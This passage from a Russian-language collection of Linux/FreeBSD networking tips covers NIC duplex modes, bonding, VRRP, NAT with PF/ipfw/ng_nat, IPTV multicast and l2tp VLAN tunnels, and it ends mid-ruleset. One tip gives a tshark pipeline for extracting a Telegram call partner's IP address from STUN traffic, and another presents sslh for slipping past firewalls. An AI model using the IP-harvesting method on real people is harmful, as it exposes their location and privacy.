       modprobe 8139 media=0  (10Mbps Half-Duplex)
    
     
    ----* С чем может быть связаны потери пакетов и нестабильная работа ethernet карт ? (доп. ссылка 1)   [комментарии]
     
    Приходилось сталкиваться с проблемами согласования режимов работы карт Intel EtherExpress 100 и 
    Reltek  RTL-8139 c коммутаторами и концентраторами различных производителей. Несогласование 
    проявляется, например в работе карты в режиме half-duplex, а свича в
    full-duplex и т.д. (в linux: /sbin/mii-tool -F 100baseTx-FD eth0)
    
     
    ----* Как в Linux выставить принудительно 100Mb FullDuplex для Intel EtherExpress Pro100, а то auto-select с некоторыми свичами не работает. (доп. ссылка 1)   [обсудить]
     
    /sbin/mii-tool -F 100baseTx-FD eth0
    или ethtool -s eth0 speed 100 duplex full autoneg off
    
    Для модуля:
    В /etc/modules.conf:  
      options eepro100 options=0x200 full_duplex=1
      alias eth0 eepro100 
    insmod eepro100.o debug=1 options=0x200
    Для ядра в boot приглашении:
         ether=0,0,0x200,eth0 
    PS. Для драйвера версии меньше 1.14 (mod_info -a eepro100) вместо 0x200 следует писать 0x30.
    
     
    ----* Почему выкачиваются данные с машины нормально, как только пытаюсь что-то закачать - соединение останавливается, даже через ssh больше 5 мин. не удается поработать. Другие машины работают нормально.   [комментарии]
     
    Неоднократно замечена проблема работы сетевых карт на базе RealTek 8129/8139 (машины под FreeBSD, 
    но с другими ОС тоже проявляется) с некоторыми концентраторами и коммутаторами. 
    Проявляется в замирании  сессий до истечения таймаута. 
    Диагностика: ping -s N remote_ip, при больших N не проходят.
    Решение: Смените сетевую карту, например, на Intel EtherExpress Pro.
    
     
    ----* Как переключить сетевую карту в FreeBSD из full-duplex в half-duplex   [комментарии]
     
    Текущий режим работы сетевой карты можно посмотреть выполнив:
    # ifconfig fxp0 
    Перевести сетевую карту в режим работы 10baseT/UTP half-duplex:
    # ifconfig fxp0 media 10baseT/UTP mediaopt half-duplex
    Автоматически выбрать режим:
    # ifconfig fxp0 media autoselect
    Подробнее: man 4 ed, man 4 rl, man 4 fxp
    
     
    ----* Объединение сетевых интерфейсов в Gentoo Linux (доп. ссылка 1)   Автор: Sheridan  [комментарии]
     
    Довольно часто бывает, что пропускной способности не хватает.
    Если у вас нет гигабитной сетевой карты (или порта на свиче), не расстраивайтесь. 
    Можно вставить в компьютер еще 1-2 сетевухи и объединить интерфейсы в один. 
    Данная операция называется bonding. Так как под рукой у меня только Gentoo, 
    то могу привести алгоритм объединения интерфейсов только для него.
    
    Итак.
    
    1. emerge ifenslave
    
    2. Редактируем /etc/conf.d/net:
    2.1 Комментируем текущий конфиг
    2.2 Пишем следующее:
    
       slaves_bond0="eth0 eth1"
       config_bond0=( "192.168.1.101 netmask 255.255.255.0 brd 192.168.1.255" )
       routes_bond0=( "default gw 192.168.1.11" )
    
    config_bond0 и routes_bond0 берем из закомментированного конфига
    (скорее всего это будет config_eth0 и routes_eth0). 
    То есть настраиваем bond0 как обычный интерфейс
    
    3. Делаем симлинк из /etc/init.d/net.lo в /etc/init.d/net.bond0
    
    4. Проверяем:
       ~# /etc/init.d/net.eth0 stop
       ~# /etc/init.d/net.bond0 start
    
    5. Если все нормально, то добавляем старт интерфейса при загрузке
    
       ~# rc-update -d net.eth0
       ~# rc-update -a net.bond0 boot
    
    Все, скорость линка должна возрасти.
    
     
    ----* Дублирование сервера с использованием VRRP (доп. ссылка 1)   Автор: Ron McCarty  [комментарии]
     
    Имеется два сервера - первичный и запасной. При помощи протокола VRRP (Virtual
    Router Redundancy Protocol)
    при крахе первичного сервера, автоматически поднимаем его MAC и IP на запасном.
    
    Устанавливаем vrrpd (http://sourceforge.net/projects/vrrpd/).
    
    На первичном сервере выполняем:
    
       vrrpd -i eth0 -p 25 -v 1 192.168.1.1
    
    На запасном:
    
      vrrpd -i eth0 -p 24 -v 1 192.168.1.1
    
    ,где
        -i eth0  - имя интерфейса на котором будет установлен IP 192.168.1.1
        -v 1 - (virtual router) номер VRRP связки 
                (в локальной сети может быть несколько резервирующих друг-друга систем)
       -p N - приоритет, машина с меньшим весом будет активирована, только при недоступности системы с большим весом.
    
    При тестировании можно использовать tcpdump -vv proto 112
    
     
    ----* Как привязать IP к MAC-адресу сетевой карты (доп. ссылка 1)   Автор: Dima I. Allaverdov  [комментарии]
     
    arp -s ваш.ip.адрес mac.адрес.сетевой.карты pub
    Пример: /usr/sbin/arp -s 192.168.0.10 0:0:e7:ac:4c:63 pub
    
    Начиная с FreeBSD 4.10 в ifconfig доступна опция staticarp, 
    заставляющий интерфейс только отвечать на ARP запросы для привязанных к нему адресам.
    
     

       NAT, трансляция адресов

    ----* Определение IP-адреса пользователя в Telegram через голосовой вызов (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    По умолчанию Telegram устанавливает прямой канал связи при осуществлении
    голосового вызова пользователя, присутствующего в адресной книге (в настройках
    можно выборочно отключить использование P2P и направлять трафик только через
    внешний сервер). При инициировании соединения для обхода NAT в Telegram
    применяется протокол STUN (Session Traversal Utilities for NAT), который
    передаёт информацию об адресах звонящего и принимающего звонок в поле
    XOR-MAPPED-ADDRESS. Соответственно, если в настройках "Security and Privacy" не
    отключён P2P, звонящий может узнать IP-адрес того, кому адресован звонок. Метод
    подойдёт и для любых других приложений, использующих STUN.
    
    Для определения IP-адреса следует  во время осуществления вызова записать дамп
    трафика в формате pcap, например, при помощи утилиты tcpdump или tshark, после
    чего воспользоваться готовым скриптом
    https://github.com/n0a/telegram-get-remote-ip/ или при помощи штатных утилит
    проанализировать значение поля XOR-MAPPED-ADDRESS:
    
       tshark -w dump.pcap -a duration:5
       cat dump.pcap | 
         grep "STUN 106" | 
         sed 's/^.*XOR-MAPPED-ADDRESS: //' | 
         awk '{match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/); ip = substr($0,RSTART,RLENGTH); print ip}' |
         awk '!seen[$0]++'
    
     
    ----* Мультиплексирование ssl/ssh соединений через один 443 порт (доп. ссылка 1)   [комментарии]
     
    В рамках проекта sslh (http://www.rutschle.net/tech/sslh.shtml) развивается
    мультиплексор ssl/ssh соединений, способный принимать соединения на одном порту
    и перебрасывать их в зависимости от типа протокола. Поддерживается широкий
    спектр протоколов, среди которых  HTTP, HTTPS, SSH, OpenVPN, tinc и XMPP.
    Наиболее востребованным применением sslh является обход межсетевых экранов,
    допускающих только ограниченное число открытых портов.
    
    Например, запустив sslh за пределами межсетевого экрана на 443 порту, можно
    организовать работу SSH и любых других протоколов: соединение с внешней системы
    будет производиться на 443 порт, но пробрасываться на локальный 22 порт, при
    этом штатные HTTPS-запросы будут перебрасываться на localhost:443.
    
    Для обеспечения работы такой схемы sslh следует запустить с опциями:
    
       sslh --user sslh --listen 192.168.10.15:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443
    
    где, "--user sslh" определяет пользователя, под которым следует запустить sslh;
    "--listen 192.168.10.15:443" - IP и порт для приёма внешних соединений;
    "--ssh 127.0.0.1:22" - IP и порт для проброса SSH
    "--ssl 127.0.0.1:443" - IP и порт для проброса HTTPS
    
     
    ----* Проброс 802.1q/access порта в Linux через IP-сеть   Автор: Roman Timofeev  [комментарии]
     
    В 2007 году я написал заметку с похожим названием.
    
    Тогда использовалась userspace-реализация с tap-интерфейсом и демоном vtund.
    Особой производительностью этот вариант не отличался.
    В свежих ядрах Linux появилась поддержка l2tpv3 ethernet pseudowire.
    
    Организуем l2-линк с udp-инкапсуляцией между двумя хостами laptus и gw:
    
       laptus# ip l2tp add tunnel tunnel_id 1 peer_tunnel_id 1 udp_sport 5000 \\
          udp_dport 5000 encap udp local 192.168.1.39 remote 213.x.x.x
       laptus# ip l2tp add session tunnel_id 1 session_id 1 peer_session_id 1
       laptus# ip a a 192.168.30.2/24 dev l2tpeth0
    
       gw# ip l2tp add tunnel tunnel_id 1 peer_tunnel_id 1 udp_sport 5000 \\
          udp_dport 11932 encap udp local 213.x.x.x remote 188.134.x.x
       gw# ip l2tp add session tunnel_id 1 session_id 1 peer_session_id 1
       gw# ip a a 192.168.30.1/24 dev l2tpeth0
    
    (так как машина laptus на NAT, то пришлось сначала сконфигурировать туннель на
    нём и запустить ping 192.168.30.1 и на внешнем интерфейсе gw "подсмотреть"
    ip:port, в который оттранслировались пакеты на выходе. Если у вас на обоих
    концах публичные ip - всё просто).
    
    Теперь попробуем сделать что-то полезное:
    
       laptus# ip link add link l2tpeth0 name vlan5 type vlan id 5
       laptus# ip link add link l2tpeth0 name vlan6 type vlan id 6
       laptus# ip a a dev vlan5 10.1.5.2/24
       laptus# ip a a dev vlan6 10.1.6.2/24
    
       gw# ip link add link l2tpeth0 name vlan5 type vlan id 5
       gw# ip link add link l2tpeth0 name vlan6 type vlan id 6
       gw# ip a a dev vlan5 10.1.5.1/24
       gw# ip a a dev vlan6 10.1.6.1/24
    
       laptus# ping 10.1.6.1
       PING 10.1.6.1 (10.1.6.1) 56(84) bytes of data.
       64 bytes from 10.1.6.1: icmp_req=1 ttl=64 time=5.77 ms
       64 bytes from 10.1.6.1: icmp_req=2 ttl=64 time=13.4 ms
       64 bytes from 10.1.6.1: icmp_req=3 ttl=64 time=17.6 ms
       ^C
       --- 10.1.6.1 ping statistics ---
       3 packets transmitted, 3 received, 0% packet loss, time 2002ms
       rtt min/avg/max/mdev = 5.776/12.295/17.671/4.922 ms
    
    при этом tcpdump -e -n -i l2tpeth0 на gw покажет:
    
       16:44:30.055082 b2:19:70:63:90:85 > 76:a9:12:12:c7:30, ethertype IPv4 (0x0800), length 98: 192.168.30.2 > 192.168.30.1: ICMP echo request, id 26927, seq 1376, length 64
       16:44:30.055116 76:a9:12:12:c7:30 > b2:19:70:63:90:85, ethertype IPv4 (0x0800), length 98: 192.168.30.1 > 192.168.30.2: ICMP echo reply, id 26927, seq 1376, length 64
       16:44:30.990689 b2:19:70:63:90:85 > 76:a9:12:12:c7:30, ethertype 802.1Q (0x8100), length 102: vlan 6, p 0, ethertype IPv4, 10.1.6.2 > 10.1.6.1: ICMP echo request, id 27037, seq 2, length 64
       16:44:30.990734 76:a9:12:12:c7:30 > b2:19:70:63:90:85, ethertype 802.1Q (0x8100), length 102: vlan 6, p 0, ethertype IPv4, 10.1.6.1 > 10.1.6.2: ICMP echo reply, id 27037, seq 2, length 64
    
    l2tpeth можно объединить бриджом с физическим интерфейсом. 
    выглядит это примерно так:
    
       root@atomus:~# ip a s l2tpeth0
    
       7: l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master vl0 state UNKNOWN qlen 1000
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
    
       root@atomus:~# ip a s vl0
    
       9: vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.1.10/24 brd 10.1.1.255 scope global vl0
    
       root@atomus:~# ip a s vlan5
    
       11: vlan5@vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.5.10/24 brd 10.1.5.255 scope global vlan5
    
       root@atomus:~# ip a s vlan222
    
       12: vlan222@vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.222.10/24 brd 10.1.222.255 scope global vlan222
    
       root@atomus:~# brctl show
    
       bridge name     bridge id               STP enabled     interfaces
       vl0             8000.1e7fecbdcf6a       no              l2tpeth0
    
       root@gw:~# ip a s vlan222
    
       68: vlan222@l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1488 qdisc noqueue state UP 
           link/ether c6:8c:43:30:88:03 brd ff:ff:ff:ff:ff:ff
           inet 10.1.222.1/24 brd 10.1.222.255 scope global vlan222
    
       root@gw:~# ip a s l2tpeth0
    
       64: l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
        link/ether c6:8c:43:30:88:03 brd ff:ff:ff:ff:ff:ff
        inet 10.1.1.1/24 brd 10.1.1.255 scope global l2tpeth0
    
       root@atomus:~# ping 10.1.5.1
       PING 10.1.5.1 (10.1.5.1) 56(84) bytes of data.
       64 bytes from 10.1.5.1: icmp_req=1 ttl=64 time=6.37 ms
       64 bytes from 10.1.5.1: icmp_req=2 ttl=64 time=5.53 ms
       ......
    
       root@atomus:~# ping 10.1.222.1
       PING 10.1.222.1 (10.1.222.1) 56(84) bytes of data.
       64 bytes from 10.1.222.1: icmp_req=1 ttl=64 time=10.0 ms
       64 bytes from 10.1.222.1: icmp_req=2 ttl=64 time=4.24 ms
       .....
    
    Как видим, к нам приходит тегированный трафик:
    
       root@gw:~# tcpdump -n -e -i l2tpeth0
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on l2tpeth0, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:21:33.962979 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 139, length 64
       19:21:33.963047 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 139, length 64
       19:21:33.986660 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 149, length 64
       19:21:33.986698 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 149, length 64
       19:21:35.165848 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 140, length 64
       19:21:35.165903 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 140, length 64
       19:21:35.168489 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 150, length 64
       ...
    
    а тут уже тегов нет:
    
       root@gw:~# tcpdump -n -e -i vlan5   
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on vlan5, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:22:17.038686 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 182, length 64
       19:22:17.038759 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 182, length 64
       19:22:18.041890 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 183, length 64
       19:22:18.041935 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 183, length 64
    
    
       root@gw:~# tcpdump -n -e -i vlan222
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on vlan222, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:23:14.155061 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 249, length 64
       19:23:14.155100 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 249, length 64
       19:23:15.150799 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 250, length 64
       19:23:15.150833 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 250, length 64
    
    если требуется "протащить" несколько trunk-интерфейсов, то достаточно сказать:
    
       ip l2tp add session tunnel_id 1 session_id 2 peer_session_id 2
    
    В рамках одно туннеля может быть 65535 сессий.
    
     
    ----* Выявление NAT-устройства в сети   Автор: Kirill  [комментарии]
     
    Значения TTL в популярных ОС известны
    (http://www.binbert.com/blog/2009/12/default-time-to-live-ttl-values/), например,
     в Linux 2.6.x и FreeBSD - 64, в Windows - 128.
    
    Если в сети имеется маршрутизатор на базе *nix или если есть возможность
    завернуть трафик на определенный хост, или настроен PBR на прозрачный прокси -
    на этой машине нужно выполнить:
    
       # tcpdump -vv -n -i @interface@ 'ip[7:2] != 128 and ip[7:2] != 64'
    
    Соответственно, если пакеты приходят с вашего маршрутизатора после PBR,
    значение TTL нужно уменьшить на 1.
    Но эта информация неточная, так как TLL в ОС можно поменять.
    Также полезным дополнением внутри этой команды будет 'src net @ваша внутренняя
    сеть@' и 'src net not @сеть, которую нужно исключить@'.
    
     
    ----* Организация доступа к IPTV через NAT (доп. ссылка 1)   Автор: Антон Каукин  [комментарии]
     
    Инструкция для желающих настроить Multicast Routing на Linux шлюзе,
    обеспечивающем работу клиентов через NAT.
    Для переброса IGMP-трафика между подсетями будем использовать демон igmpproxy  (http://sourceforge.net/projects/igmpproxy)
    
    Ставим IGMP Proxy из пакетов используемого дистрибутива или устанавливаем из исходных текстов:
    
       # tar -zxf igmpproxy-src-0.1.tar.gz
       # cd igmpproxy/
       # less README
       # cd src/
       # make && make install
    
    Правим файл конфигурации /etc/igmpproxy.conf. В представленном примере,
    интерфейс eth0 смотрит в публичную сеть провайдера Mig Telecom, а eth1 в
    домашнюю сеть.
    
       # Enable Quickleave mode (Sends Leave instantly)
       # Эту строчку раскомментируют только в том случае,
       # если внути всего лишь один клиент IP TV
    
       #quickleave
    
       # Configuration for eth0 (Upstream Interface)
       # Здесь указаны параметры для публичного интерфейса,
       # на который придет поток от провайдера
    
       phyint eth0 upstream ratelimit 0  threshold 1
               altnet 10.20.0.0/16
               altnet 88.210.40.0/24
               altnet 80.240.211.0/22
    
       # Configuration for eth1 (Downstream Interface)
       # Типовая конфигурация для внутреннего интерфейса
    
       phyint eth1 downstream ratelimit 0  threshold 1
    
       # Configuration for eth2 (Disabled Interface)
       # eth2 в системе есть, но не используется никем, отключаем
    
       phyint eth2 disabled
    
    Запускаем igmpproxy и переходим к небольшой конфигурации IPTables.
    Вот этот набор правил понадобился для корректной работы пакетного фильтра,
    разрешается весь входящий мультикст, разрешается его форвардинг и плюс ко всему
    добавляем в TTL 1, без этого добавления не работает если пакеты от провайдера
    приходят с минимально выставленным TTL.
    
       modprobe ipt_TTL
       iptables -t filter -A INPUT -d 224.0.0.0/240.0.0.0 -i eth0 -j   ACCEPT
       iptables -t filter -A INPUT -s 224.0.0.0/240.0.0.0 -i eth0 -j ACCEPT
       iptables -t filter -A FORWARD -d 224.0.0.0/240.0.0.0 -j ACCEPT
       iptables -t filter -A FORWARD -s 224.0.0.0/240.0.0.0 -j ACCEPT
       iptables -t mangle -A PREROUTING -d 224.0.0.0/240.0.0.0 -p udp -j TTL --ttl-inc 1
    
     
    ----* Настройка пакетного фильтра PF для проброса SIP-телефонов через NAT (доп. ссылка 1) (доп. ссылка 2)   Автор: argo  [комментарии]
     
    Во FreeBSD для включения PF указываем в /etc/rc.conf:
       pf_enable="YES"
    
    При необходимости выделения гарантированной полосы пропускания для голосового
    трафика задействуем ALTQ.
    Пересобираем ядро с поддержкой ALTQ, указав в конфигурации:
       options         ALTQ
       options         ALTQ_CBQ        # Class Bases Queuing (CBQ)
       options         ALTQ_RED        # Random Early Detection (RED)
       options         ALTQ_RIO        # RED In/Out
       options         ALTQ_HFSC       # Hierarchical Packet Scheduler  (HFSC)
       options         ALTQ_PRIQ       # Priority Queuing (PRIQ)
       options         ALTQ_NOPCC      # Required for SMP build
    
    Далее для организации NAT для машин с SIP телефонами используем следующие
    настройки пакетного фильтра (/etc/pf.conf):
    
       # Вернет ошибку, порт заблокирован
       set block-policy return
     
       # тайм-аут UDP сессии должен быть равен или больше, чем время регистрации SIP 
       # Таймер тайм-аута. Обычно достаточно 300 секунд.
       set timeout { udp.first 300, udp.single 150, udp.multiple 900 }
     
       # переменные
       int_if = "fxp0"
       ext_if = "fxp1"
       int_net = "192.168.1.0/24"
       ipphone1 = "192.168.1.18"
       ipphone2 = "192.168.1.19"
     
       # Включим очереди для внешнего интерфейса. Отделим голосовой трафик от данных
       altq on $ext_if hfsc bandwidth 512Kb queue { q_voice, q_other }
       queue q_voice bandwidth 3.84Kb priority 6 hfsc(realtime 96Kb)
       queue q_other bandwidth 416Kb hfsc { q_pri, q_std, q_low }
       queue q_pri   bandwidth 200Kb priority 3 hfsc(red realtime 64Kb)
       queue q_std   bandwidth 200Kb priority 2 hfsc(default red )
       queue q_low   bandwidth 3.84Kb priority 1 hfsc(red )
     
       # Для каждого IP- телефона свое правило трансляции nat.
       # Параметр static-port нужен для сохранения временного порта UDP.
       # Это нужно чтобы удаленный SIP прокси знал к какой сессии привязан наш IP телефон.
       nat on $ext_if proto udp from $ipphone1 to any -> ($ext_if) static-port
       nat on $ext_if proto udp from $ipphone2 to any -> ($ext_if) static-port
     
       # Правило NAT для остальных устройств локальной сети
       nat on $ext_if from $int_net to any -> ($ext_if)
     
       pass in  quick on lo0 all
       pass out quick on lo0 all
     
       # Разрешаем SIP трафик с телефонов на локальном интерфейсе 
       pass in  quick on $int_if proto udp from $ipphone1 to any tag VOIP keep state
       pass in  quick on $int_if proto udp from $ipphone2 to any tag VOIP keep state
     
       pass in  quick on $ext_if proto tcp from any to any port 22 keep state \
         queue(q_std,q_pri)
       pass in  quick on $ext_if proto tcp from any to any port 80 keep state \
         queue q_low
     
       pass out quick on $ext_if tagged VOIP queue q_voice keep state
       pass out quick on $ext_if proto tcp from any to any port 22 keep state \
         queue(q_std,q_pri)
       pass out quick on $ext_if proto tcp from any to any flags S/SA keep state \
         queue(q_std,q_pri)
       pass out quick on $ext_if proto udp from any to any port 53 queue q_pri \
         keep state
     
       # Разрешаем с внешнего интерфейса наружу  tcp, udp, icmp
       pass out quick on $ext_if proto { tcp, udp, icmp } all keep state
     
       block in log all
    
    
    Конфигурация была протестирована на VoIP телефоне Cisco 7960, 
    NAT прокси и outbound_proxy не используются, в телефоне настроен прокси-сервер
    SIP и порт контроля 5060/udp. Функция STUN в телефоне включена, хотя некоторые
    коммерческие SIP-прокси могут работать без него.
    
    Проверить очереди: 
       pfctl -vsq -v
    
    Очистить таблицы состояний: 
       pfctl -F state
    
    Проверка правил: 
       pfctl -s rules -v
    
     
    ----* Трансляция адресов во FreeBSD средствами ng_nat (доп. ссылка 1)   Автор: Folio  [комментарии]
     
    Для работы этого примера необходимо иметь подгруженный ng_ipfw.ko
    
    Убедиться в его наличии можно командой:
    
       /sbin/kldstat| grep ng_ipfw.ko
    
    Если ng_ipfw.ko не загружен, то загружаем его:
    
       /sbin/kldload /boot/kernel/ng_ipfw.ko
    
    После того как ng_ipfw.ko подгружен, в выводе команды:
    
       /usr/sbin/ngctl list
    
    появится строчка вида:
    
       Name: ipfw Type: ipfw ID: 00000023 Num hooks: 2
    
    Без загруженного ng_ipfw.ko при попытке выполнить команды ngctl'а вы будете получать сообщение:
    
       ngctl: send msg: No such file or directory
    
    а при попытке добавить правило в ipfw получите:
    
       ipfw: getsockopt(IP_FW_ADD): Invalid argument
    
    Настройка ng_nat проста и сводится к скрипту:
    
    Для примера будем NAT'ить подсеть 172.16.5.96/27 через IP-адрес 192.168.20.8 на
    внешнем интерфейсе fxp0.
    
       #!/usr/bin/perl
    
       $ip='192.168.20.8';
       $iface='fxp0';
       $net='172.16.5.96/27';
       $cmd=sprintf("/usr/sbin/ngctl -f - << -EOF
       mkpeer ipfw: nat 60 out
       name ipfw:60 nat
       connect ipfw: nat: 61 in
       msg nat: setaliasaddr %s
       ",$ip);
       system($cmd);
    
       ###добавляем необходимые правила в firewall
       $cmd=sprintf("/sbin/ipfw add 1000 netgraph 61 all from any to %s via %s in",$ip,$iface);
       system($cmd);
       $cmd=sprintf("/sbin/ipfw add 1010 netgraph 60 all from %s to any via %s out",$net,$iface);
       system($cmd);
    
    где:
    
    $ip - IP адрес, через который будет работать нат (который смотрит в интернет)
    $iface - ваш внешний интерфейс
    $net - IP подсеть, которую мы собираемся NAT'ить
    netgraph - правило в firewall, аналогично divert, только перенаправляет трафик не в socket, 
    а в ноду netgraph, 60, 61 - адреса исходящего и входящего хуков.
    
    Если делать руками в консоли, то команды выглядят следующим образом:
    
       ###создаем ноду nat и подключаем к ipfw
       /usr/sbin/ngctl mkpeer ipfw: nat 60 out 
       ###даем ноде имя "natA" 
       /usr/sbin/ngctl name ipfw:60 natA   
       ###соединяем входящие и исходящие хуки  для "natA"
       /usr/sbin/ngctl connect ipfw: natA: 61 in 
       ###посылаем управляющее сообщение в виде IP адреса, через который будет работать нат.   
       /usr/sbin/ngctl msg natA: setaliasaddr 192.168.20.8   
    
    Если все работает, то мы можем посмотреть вывод следующей команды:
    
       ngctl show natA:
    
    Также можно посмотреть все целиком:
    
       ngctl list
    
    Для выключения настроенного NAT нужно выполнить команду:
    
       ngctl shutdown natA:
    
    Заметка:
    
    Если вы хотите запустить NAT на нескольких внешних IP-адресах, но не забывайте изменять имена нод 
    (в примере natA) и номера хуков (в примере 60,61) т.к. они должны быть
    уникальны для каждого из процессов.
    
    Не путайте in и out в создаваемой ноде и правилах ipfw.
    
    Чтиво:
    
    man 8 ipfw
    Все о Netgraph (http://citrin.ru/netgraph/)
    man 4 netgraph
    man 4 ng_ipfw
    
     
    ----* Port mapping и открытие портов наружу во FreeBSD 7.1 (ipfw + kernel nat)   Автор: reZon  [комментарии]
     
    Для начала надо пересобрать ядро со следующими опциями
    
       options         IPFIREWALL              #firewall
       options         IPFIREWALL_VERBOSE      #enable logging to syslogd(8)
       options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by default
       options         IPDIVERT
       options         IPFIREWALL_FORWARD
       options         DUMMYNET
       options         IPFIREWALL_NAT          #ipfw kernel nat support
       options         LIBALIAS
    
    Далее пересобираем ядро:
    
       cd /usr/src/
       make buildkernel KERNCONF=Yourkernel && make installkernel KERNCONF=Yourkernel 
    
       shutdown -r now
    
    Далее кусок файла конфигурации с примером.
    192.168.1.132 - ip адрес сетевой карты смотрящей наружу
    останое внутренние адреса
    
       #!/bin/sh
       # здесь просто удаляю старые правила 
       ipfw -f flush
       ipfw nat 122 delete
    
       # разрещаю все через loopback
       ipfw add allow all from any to any via lo0
    
       # делаю нат на ip смотрящем наружу, same_ports - для попытки сохранить номера портов при нате
       ipfw nat 123 config ip 192.168.1.132 log same_ports \
    
       # пробрасываю все что приходит на порт 9999 на тот же порт внутренней машины 
       # как вариант можно указать -redirect_port tcp 192.168.4.86:9999 192.168.1.132:9999
        redirect_port tcp 192.168.4.86:9999 9999
    
       # этот кусок нужен что бы у машины был не полный нат а только порт который я разрешил, 
       # потому что вообще в интернет буду пускать через проксю.
       ipfw add 100 nat 123 tcp from 192.168.4.86 9999 to any
       ipfw add 100 nat 123 tcp from any to 192.168.4.86 9999
    
       # здесь я разрешаю клиенту с ip 192.168.4.86 коннектится к любым серверам по 25 порту, 
       # но только по нему.
       ipfw add 100 nat 123 tcp from 192.168.4.86 to any 25
    
       # это что бы был нат, иначе ничего не будет работать, правило для выпуска клиентов наружу
       ipfw add 100 nat 123 ip from any to 192.168.1.132
    
    
    Основанно на http://www.opennet.dev/tips/info/1618.shtml
    
     
    ----* Интернет-шлюз с использованием PF   Автор: vitalic  [комментарии]
     
    O пакетном фильтре (PF) написано довольно много статей. Вот и я хочу предложить
    свою реализацию Интернет-шлюза с
    использованием  PF. Раздача Интернета для локальной сети происходит через NAT и
    основана на Packet Tagging. Плюсом этого
    метода является то что упрощается настройка правил для FTP (ftp-proxy не
    используется), как для клиентов за шлюзом, так и для
    возможной публикации "внутреннего" ftp-сервера в мир.
    
    Для простоты приведу пример с 1 внешним и 1 внутренним интерфейсом. На шлюзе
    также запущен DNS-сервер. Пользователям
    локальной сети разрешен доступ на все порты без исключений по протоколам TCP,
    UDP, из ICMP разрешен только ping. В качестве
    ОС выступает FreeBSD7.0
    
    Для начала определим интерфейсы с помощью макросов
    
       ext_if="rl0"
       int_if="sk1"
    
       dns="ААА.ААА.ААА.ААА"
       lan="192.168.1.0/24"
    
       table <no_if> {BBB.BBB.BBB.BBB, 192.168.1.1, 127.0.0.1} persist
    
       set skip on lo
       set loginterface rl0
       set ruleset-optimization basic
       set block-policy return
       scrub in all no-df random-id
    
       ##### INET FOR LAN
    
       nat on $ext_if tag LAN_INET_NAT_TCP_UDP tagged LAN_INET_TCP_UDP -> $ext_if:0
       nat on $ext_if tag LAN_INET_NAT_ICMP tagged LAN_INET_ICMP -> $ext_if:0
    
       ######
    
       block in
